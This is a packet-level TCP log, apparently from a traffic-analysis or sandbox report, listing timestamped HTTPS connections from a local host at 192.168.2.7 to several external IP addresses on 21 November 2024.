Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 21, 2024 00:02:49.603384972 CET	49671	443	192.168.2.7	204.79.197.203
Nov 21, 2024 00:02:49.915832043 CET	49677	443	192.168.2.7	20.50.201.200
Nov 21, 2024 00:02:50.650358915 CET	49674	443	192.168.2.7	104.98.116.138
Nov 21, 2024 00:02:50.650362015 CET	49675	443	192.168.2.7	104.98.116.138
Nov 21, 2024 00:02:50.900299072 CET	49672	443	192.168.2.7	104.98.116.138
Nov 21, 2024 00:02:51.415868044 CET	49677	443	192.168.2.7	20.50.201.200
Nov 21, 2024 00:02:54.400198936 CET	49677	443	192.168.2.7	20.50.201.200
Nov 21, 2024 00:02:57.093956947 CET	49701	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:02:57.093980074 CET	443	49701	13.107.246.45	192.168.2.7
Nov 21, 2024 00:02:57.094105005 CET	49701	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:02:57.094425917 CET	49701	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:02:57.094436884 CET	443	49701	13.107.246.45	192.168.2.7
Nov 21, 2024 00:02:57.222143888 CET	49702	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:02:57.222193956 CET	443	49702	188.114.96.3	192.168.2.7
Nov 21, 2024 00:02:57.222285032 CET	49702	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:02:57.225584984 CET	49702	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:02:57.225603104 CET	443	49702	188.114.96.3	192.168.2.7
Nov 21, 2024 00:02:58.505018950 CET	443	49702	188.114.96.3	192.168.2.7
Nov 21, 2024 00:02:58.505264044 CET	49702	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:02:58.510381937 CET	49702	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:02:58.510390043 CET	443	49702	188.114.96.3	192.168.2.7
Nov 21, 2024 00:02:58.510803938 CET	443	49702	188.114.96.3	192.168.2.7
Nov 21, 2024 00:02:58.556468010 CET	49702	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:02:58.563371897 CET	49702	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:02:58.563402891 CET	49702	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:02:58.563564062 CET	443	49702	188.114.96.3	192.168.2.7
Nov 21, 2024 00:02:58.826054096 CET	443	49701	13.107.246.45	192.168.2.7
Nov 21, 2024 00:02:58.826139927 CET	49701	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:02:58.828680992 CET	49701	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:02:58.828691006 CET	443	49701	13.107.246.45	192.168.2.7
Nov 21, 2024 00:02:58.829014063 CET	443	49701	13.107.246.45	192.168.2.7
Nov 21, 2024 00:02:58.837052107 CET	49701	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:02:58.883337021 CET	443	49701	13.107.246.45	192.168.2.7
Nov 21, 2024 00:02:59.203629971 CET	443	49702	188.114.96.3	192.168.2.7
Nov 21, 2024 00:02:59.203869104 CET	443	49702	188.114.96.3	192.168.2.7
Nov 21, 2024 00:02:59.203939915 CET	49702	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:02:59.205881119 CET	49702	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:02:59.205881119 CET	49702	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:02:59.205893040 CET	443	49702	188.114.96.3	192.168.2.7
Nov 21, 2024 00:02:59.205903053 CET	443	49702	188.114.96.3	192.168.2.7
Nov 21, 2024 00:02:59.212704897 CET	49671	443	192.168.2.7	204.79.197.203
Nov 21, 2024 00:02:59.255568981 CET	49703	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:02:59.255616903 CET	443	49703	188.114.96.3	192.168.2.7
Nov 21, 2024 00:02:59.255692005 CET	49703	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:02:59.255938053 CET	49703	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:02:59.255954027 CET	443	49703	188.114.96.3	192.168.2.7
Nov 21, 2024 00:02:59.300167084 CET	443	49701	13.107.246.45	192.168.2.7
Nov 21, 2024 00:02:59.300192118 CET	443	49701	13.107.246.45	192.168.2.7
Nov 21, 2024 00:02:59.300208092 CET	443	49701	13.107.246.45	192.168.2.7
Nov 21, 2024 00:02:59.300276041 CET	49701	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:02:59.300288916 CET	443	49701	13.107.246.45	192.168.2.7
Nov 21, 2024 00:02:59.300340891 CET	49701	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:02:59.477271080 CET	443	49701	13.107.246.45	192.168.2.7
Nov 21, 2024 00:02:59.477300882 CET	443	49701	13.107.246.45	192.168.2.7
Nov 21, 2024 00:02:59.477345943 CET	49701	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:02:59.477371931 CET	443	49701	13.107.246.45	192.168.2.7
Nov 21, 2024 00:02:59.477391005 CET	49701	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:02:59.477415085 CET	49701	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:02:59.517369032 CET	443	49701	13.107.246.45	192.168.2.7
Nov 21, 2024 00:02:59.517432928 CET	443	49701	13.107.246.45	192.168.2.7
Nov 21, 2024 00:02:59.517446995 CET	49701	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:02:59.517460108 CET	443	49701	13.107.246.45	192.168.2.7
Nov 21, 2024 00:02:59.517501116 CET	49701	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:02:59.517517090 CET	49701	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:02:59.651081085 CET	443	49701	13.107.246.45	192.168.2.7
Nov 21, 2024 00:02:59.651104927 CET	443	49701	13.107.246.45	192.168.2.7
Nov 21, 2024 00:02:59.651184082 CET	49701	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:02:59.651199102 CET	443	49701	13.107.246.45	192.168.2.7
Nov 21, 2024 00:02:59.651227951 CET	49701	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:02:59.651246071 CET	49701	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:02:59.686477900 CET	443	49701	13.107.246.45	192.168.2.7
Nov 21, 2024 00:02:59.686508894 CET	443	49701	13.107.246.45	192.168.2.7
Nov 21, 2024 00:02:59.686671972 CET	49701	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:02:59.686690092 CET	443	49701	13.107.246.45	192.168.2.7
Nov 21, 2024 00:02:59.686733961 CET	49701	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:02:59.708717108 CET	443	49701	13.107.246.45	192.168.2.7
Nov 21, 2024 00:02:59.708739996 CET	443	49701	13.107.246.45	192.168.2.7
Nov 21, 2024 00:02:59.709074020 CET	49701	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:02:59.709089041 CET	443	49701	13.107.246.45	192.168.2.7
Nov 21, 2024 00:02:59.709134102 CET	49701	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:02:59.726203918 CET	443	49701	13.107.246.45	192.168.2.7
Nov 21, 2024 00:02:59.726222038 CET	443	49701	13.107.246.45	192.168.2.7
Nov 21, 2024 00:02:59.726279974 CET	49701	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:02:59.726293087 CET	443	49701	13.107.246.45	192.168.2.7
Nov 21, 2024 00:02:59.726336956 CET	49701	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:02:59.726351023 CET	49701	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:02:59.839438915 CET	443	49701	13.107.246.45	192.168.2.7
Nov 21, 2024 00:02:59.839467049 CET	443	49701	13.107.246.45	192.168.2.7
Nov 21, 2024 00:02:59.839540958 CET	49701	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:02:59.839555979 CET	443	49701	13.107.246.45	192.168.2.7
Nov 21, 2024 00:02:59.839600086 CET	49701	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:02:59.856908083 CET	443	49701	13.107.246.45	192.168.2.7
Nov 21, 2024 00:02:59.856926918 CET	443	49701	13.107.246.45	192.168.2.7
Nov 21, 2024 00:02:59.856985092 CET	49701	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:02:59.856993914 CET	443	49701	13.107.246.45	192.168.2.7
Nov 21, 2024 00:02:59.857048988 CET	49701	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:02:59.870434046 CET	443	49701	13.107.246.45	192.168.2.7
Nov 21, 2024 00:02:59.870451927 CET	443	49701	13.107.246.45	192.168.2.7
Nov 21, 2024 00:02:59.870523930 CET	49701	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:02:59.870532990 CET	443	49701	13.107.246.45	192.168.2.7
Nov 21, 2024 00:02:59.870577097 CET	49701	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:02:59.886081934 CET	443	49701	13.107.246.45	192.168.2.7
Nov 21, 2024 00:02:59.886101961 CET	443	49701	13.107.246.45	192.168.2.7
Nov 21, 2024 00:02:59.886173964 CET	49701	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:02:59.886183023 CET	443	49701	13.107.246.45	192.168.2.7
Nov 21, 2024 00:02:59.886224031 CET	49701	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:02:59.901702881 CET	443	49701	13.107.246.45	192.168.2.7
Nov 21, 2024 00:02:59.901720047 CET	443	49701	13.107.246.45	192.168.2.7
Nov 21, 2024 00:02:59.901781082 CET	49701	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:02:59.901788950 CET	443	49701	13.107.246.45	192.168.2.7
Nov 21, 2024 00:02:59.901830912 CET	49701	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:02:59.916295052 CET	443	49701	13.107.246.45	192.168.2.7
Nov 21, 2024 00:02:59.916311979 CET	443	49701	13.107.246.45	192.168.2.7
Nov 21, 2024 00:02:59.916359901 CET	49701	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:02:59.916368008 CET	443	49701	13.107.246.45	192.168.2.7
Nov 21, 2024 00:02:59.916415930 CET	49701	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:02:59.920850992 CET	443	49701	13.107.246.45	192.168.2.7
Nov 21, 2024 00:02:59.920914888 CET	49701	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:02:59.920924902 CET	443	49701	13.107.246.45	192.168.2.7
Nov 21, 2024 00:02:59.920943022 CET	443	49701	13.107.246.45	192.168.2.7
Nov 21, 2024 00:02:59.920969009 CET	49701	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:02:59.920969963 CET	49701	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:02:59.920990944 CET	443	49701	13.107.246.45	192.168.2.7
Nov 21, 2024 00:02:59.921001911 CET	49701	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:02:59.921001911 CET	49701	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:02:59.921009064 CET	443	49701	13.107.246.45	192.168.2.7
Nov 21, 2024 00:02:59.921016932 CET	443	49701	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:00.050410032 CET	49704	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:00.050483942 CET	443	49704	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:00.050579071 CET	49704	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:00.052526951 CET	49705	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:00.052576065 CET	443	49705	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:00.052629948 CET	49705	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:00.053941011 CET	49704	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:00.053972006 CET	443	49704	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:00.054326057 CET	49705	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:00.054341078 CET	443	49705	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:00.055699110 CET	49706	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:00.055727005 CET	443	49706	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:00.055788994 CET	49706	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:00.056261063 CET	49706	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:00.056283951 CET	443	49706	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:00.060781956 CET	49707	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:00.060806036 CET	443	49707	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:00.060854912 CET	49707	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:00.061048031 CET	49707	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:00.061059952 CET	443	49707	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:00.061940908 CET	49708	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:00.061985016 CET	443	49708	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:00.062027931 CET	49708	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:00.062653065 CET	49708	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:00.062681913 CET	443	49708	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:00.259607077 CET	49674	443	192.168.2.7	104.98.116.138
Nov 21, 2024 00:03:00.259903908 CET	49675	443	192.168.2.7	104.98.116.138
Nov 21, 2024 00:03:00.353369951 CET	49677	443	192.168.2.7	20.50.201.200
Nov 21, 2024 00:03:00.509582996 CET	49672	443	192.168.2.7	104.98.116.138
Nov 21, 2024 00:03:00.567270041 CET	443	49703	188.114.96.3	192.168.2.7
Nov 21, 2024 00:03:00.567344904 CET	49703	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:03:00.568901062 CET	49703	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:03:00.568912029 CET	443	49703	188.114.96.3	192.168.2.7
Nov 21, 2024 00:03:00.569144011 CET	443	49703	188.114.96.3	192.168.2.7
Nov 21, 2024 00:03:00.570327997 CET	49703	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:03:00.570372105 CET	49703	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:03:00.570398092 CET	443	49703	188.114.96.3	192.168.2.7
Nov 21, 2024 00:03:01.344450951 CET	443	49703	188.114.96.3	192.168.2.7
Nov 21, 2024 00:03:01.344523907 CET	443	49703	188.114.96.3	192.168.2.7
Nov 21, 2024 00:03:01.344566107 CET	443	49703	188.114.96.3	192.168.2.7
Nov 21, 2024 00:03:01.344599009 CET	49703	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:03:01.344625950 CET	443	49703	188.114.96.3	192.168.2.7
Nov 21, 2024 00:03:01.344712019 CET	443	49703	188.114.96.3	192.168.2.7
Nov 21, 2024 00:03:01.344753981 CET	49703	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:03:01.344758034 CET	443	49703	188.114.96.3	192.168.2.7
Nov 21, 2024 00:03:01.344770908 CET	443	49703	188.114.96.3	192.168.2.7
Nov 21, 2024 00:03:01.344819069 CET	49703	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:03:01.352829933 CET	443	49703	188.114.96.3	192.168.2.7
Nov 21, 2024 00:03:01.353394032 CET	49703	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:03:01.361104012 CET	443	49703	188.114.96.3	192.168.2.7
Nov 21, 2024 00:03:01.370376110 CET	443	49703	188.114.96.3	192.168.2.7
Nov 21, 2024 00:03:01.373208046 CET	49703	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:03:01.373219967 CET	443	49703	188.114.96.3	192.168.2.7
Nov 21, 2024 00:03:01.431468010 CET	49703	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:03:01.463957071 CET	443	49703	188.114.96.3	192.168.2.7
Nov 21, 2024 00:03:01.509721041 CET	49703	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:03:01.555079937 CET	443	49703	188.114.96.3	192.168.2.7
Nov 21, 2024 00:03:01.559097052 CET	443	49703	188.114.96.3	192.168.2.7
Nov 21, 2024 00:03:01.559187889 CET	49703	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:03:01.559273005 CET	49703	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:03:01.559288979 CET	443	49703	188.114.96.3	192.168.2.7
Nov 21, 2024 00:03:01.559300900 CET	49703	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:03:01.559307098 CET	443	49703	188.114.96.3	192.168.2.7
Nov 21, 2024 00:03:01.662889957 CET	49709	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:03:01.662924051 CET	443	49709	188.114.96.3	192.168.2.7
Nov 21, 2024 00:03:01.663085938 CET	49709	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:03:01.663332939 CET	49709	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:03:01.663345098 CET	443	49709	188.114.96.3	192.168.2.7
Nov 21, 2024 00:03:01.791939020 CET	443	49708	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:01.792471886 CET	49708	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:01.792509079 CET	443	49708	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:01.792977095 CET	49708	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:01.792983055 CET	443	49708	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:01.846533060 CET	443	49704	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:01.847024918 CET	49704	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:01.847063065 CET	443	49704	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:01.847492933 CET	49704	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:01.847498894 CET	443	49704	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:01.853497028 CET	443	49705	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:01.853841066 CET	49705	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:01.853869915 CET	443	49705	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:01.854262114 CET	49705	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:01.854268074 CET	443	49705	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:01.857409000 CET	443	49706	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:01.857724905 CET	49706	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:01.857733011 CET	443	49706	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:01.858139992 CET	49706	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:01.858144999 CET	443	49706	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:01.914314985 CET	443	49707	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:01.915083885 CET	49707	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:01.915141106 CET	443	49707	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:01.915522099 CET	49707	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:01.915528059 CET	443	49707	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:02.229866982 CET	443	49708	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:02.229918957 CET	443	49708	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:02.229981899 CET	49708	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:02.230003119 CET	443	49708	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:02.230536938 CET	443	49708	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:02.230595112 CET	49708	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:02.231436014 CET	49708	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:02.231455088 CET	443	49708	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:02.231476068 CET	49708	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:02.231482983 CET	443	49708	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:02.236635923 CET	49710	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:02.236680031 CET	443	49710	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:02.236758947 CET	49710	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:02.237163067 CET	49710	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:02.237179995 CET	443	49710	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:02.290822029 CET	443	49704	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:02.290890932 CET	443	49704	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:02.290936947 CET	49704	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:02.291141987 CET	49704	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:02.291163921 CET	443	49704	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:02.291176081 CET	49704	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:02.291182041 CET	443	49704	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:02.293610096 CET	49711	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:02.293673038 CET	443	49711	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:02.293736935 CET	49711	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:02.293853045 CET	49711	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:02.293869019 CET	443	49711	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:02.301594973 CET	443	49705	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:02.301620960 CET	443	49705	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:02.301672935 CET	49705	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:02.301707029 CET	443	49705	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:02.301750898 CET	49705	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:02.301779985 CET	49705	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:02.301779985 CET	49705	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:02.301789045 CET	443	49705	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:02.301940918 CET	443	49705	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:02.301970005 CET	443	49705	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:02.302020073 CET	49705	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:02.305341005 CET	443	49706	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:02.305407047 CET	443	49706	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:02.305459023 CET	49706	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:02.305475950 CET	443	49706	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:02.305516005 CET	49706	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:02.305561066 CET	49706	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:02.305566072 CET	443	49706	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:02.305582047 CET	49706	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:02.306107998 CET	443	49706	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:02.306195021 CET	443	49706	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:02.306231976 CET	49706	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:02.307945013 CET	49712	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:02.307971954 CET	443	49712	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:02.308029890 CET	49712	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:02.308909893 CET	49713	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:02.308933020 CET	443	49713	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:02.308993101 CET	49713	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:02.309267998 CET	49712	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:02.309278011 CET	443	49712	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:02.309376955 CET	49713	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:02.309387922 CET	443	49713	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:02.367438078 CET	443	49707	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:02.367496014 CET	443	49707	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:02.367572069 CET	49707	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:02.367750883 CET	49707	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:02.367764950 CET	443	49707	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:02.367775917 CET	49707	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:02.367780924 CET	443	49707	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:02.370371103 CET	49714	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:02.370388985 CET	443	49714	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:02.370454073 CET	49714	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:02.370584965 CET	49714	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:02.370596886 CET	443	49714	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:02.926433086 CET	443	49709	188.114.96.3	192.168.2.7
Nov 21, 2024 00:03:02.926529884 CET	49709	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:03:02.928275108 CET	49709	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:03:02.928286076 CET	443	49709	188.114.96.3	192.168.2.7
Nov 21, 2024 00:03:02.928519011 CET	443	49709	188.114.96.3	192.168.2.7
Nov 21, 2024 00:03:02.930218935 CET	49709	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:03:02.930376053 CET	49709	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:03:02.930408001 CET	443	49709	188.114.96.3	192.168.2.7
Nov 21, 2024 00:03:03.588412046 CET	443	49700	104.98.116.138	192.168.2.7
Nov 21, 2024 00:03:03.588558912 CET	49700	443	192.168.2.7	104.98.116.138
Nov 21, 2024 00:03:03.812861919 CET	443	49709	188.114.96.3	192.168.2.7
Nov 21, 2024 00:03:03.812954903 CET	443	49709	188.114.96.3	192.168.2.7
Nov 21, 2024 00:03:03.813014030 CET	49709	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:03:03.813107967 CET	49709	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:03:03.813122988 CET	443	49709	188.114.96.3	192.168.2.7
Nov 21, 2024 00:03:03.931360960 CET	49715	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:03:03.931390047 CET	443	49715	188.114.96.3	192.168.2.7
Nov 21, 2024 00:03:03.931507111 CET	49715	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:03:03.931894064 CET	49715	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:03:03.931907892 CET	443	49715	188.114.96.3	192.168.2.7
Nov 21, 2024 00:03:04.028156042 CET	443	49711	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:04.028616905 CET	49711	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:04.028654099 CET	443	49711	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:04.029097080 CET	49711	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:04.029103994 CET	443	49711	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:04.032196045 CET	443	49710	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:04.032529116 CET	49710	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:04.032548904 CET	443	49710	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:04.032913923 CET	49710	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:04.032921076 CET	443	49710	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:04.113728046 CET	443	49712	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:04.114136934 CET	49712	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:04.114164114 CET	443	49712	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:04.114521980 CET	49712	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:04.114526987 CET	443	49712	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:04.165826082 CET	443	49713	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:04.166225910 CET	49713	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:04.166276932 CET	443	49713	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:04.166629076 CET	49713	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:04.166645050 CET	443	49713	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:04.217780113 CET	443	49714	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:04.240797997 CET	49714	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:04.240822077 CET	443	49714	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:04.241231918 CET	49714	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:04.241236925 CET	443	49714	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:04.462912083 CET	443	49711	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:04.462996960 CET	443	49711	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:04.463074923 CET	49711	443	192.168.2.7	13.107.246.45
